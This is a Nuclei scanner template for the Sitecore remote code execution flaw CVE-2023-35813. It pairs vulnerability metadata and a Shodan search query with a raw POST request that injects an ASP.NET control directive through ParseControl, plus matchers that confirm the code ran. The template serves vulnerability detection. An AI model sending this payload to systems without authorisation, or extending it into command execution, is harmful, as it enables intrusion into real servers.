nuclei-templates/http/cves/2023/CVE-2023-35813.yaml

58 lines
2.0 KiB
YAML
Raw Normal View History

id: CVE-2023-35813
info:
name: Sitecore - Remote Code Execution
author: DhiyaneshDk,iamnoooob
severity: critical
description: |
Multiple Sitecore products allow remote code execution. This affects Experience Manager, Experience Platform, and Experience Commerce through 10.3.
reference:
- https://support.sitecore.com/kb?id=kb_article_view\u0026sysparm_article=KB1002979
- https://code-white.com/blog/exploiting-asp.net-templateparser-part-1/
- https://nvd.nist.gov/vuln/detail/CVE-2023-35813
2023-10-14 11:27:55 +00:00
- https://support.sitecore.com/kb?id=kb_article_view&sysparm_article=KB1002979
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2023-35813
cwe-id: CWE-22,CWE-23
epss-score: 0.26787
epss-percentile: 0.96236
cpe: cpe:2.3:a:sitecore:experience_commerce:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: sitecore
product: experience_commerce
shodan-query: title:"Sitecore"
tags: cve,cve2023,sitecore,rce
variables:
string: "{{rand_base(6)}}"
payload: |
<%@Register
TagPrefix = 'x'
Namespace = 'System.Runtime.Remoting.Services'
Assembly = 'System.Runtime.Remoting, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089'
%>
<x:RemotingService runat='server'
Context-Response-ContentType='{{string}}'
/>
http:
- raw:
- |
POST /sitecore_xaml.ashx/-/xaml/Sitecore.Xaml.Tutorials.Styles.Index HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
__ISEVENT=1&__SOURCE=&__PARAMETERS=ParseControl("{{url_encode(payload)}}")
matchers:
- type: dsl
dsl:
- contains(content_type, '{{string}}')
- contains_all(body, 'commands', 'command', 'value')
- status_code == 200
2023-10-14 11:27:55 +00:00
condition: and
# digest: 4b0a00483046022100e32f88bea8c458a2874fbdd27b37188c56d9bef51794057dfeb55a2ed3aaeb790221009e9d25b97c8b9f53ac2fc5abf4aaf35492c8b05ee1f7631b428b9d12db1cb92a:922c64590222798bb761d5b6d8e72950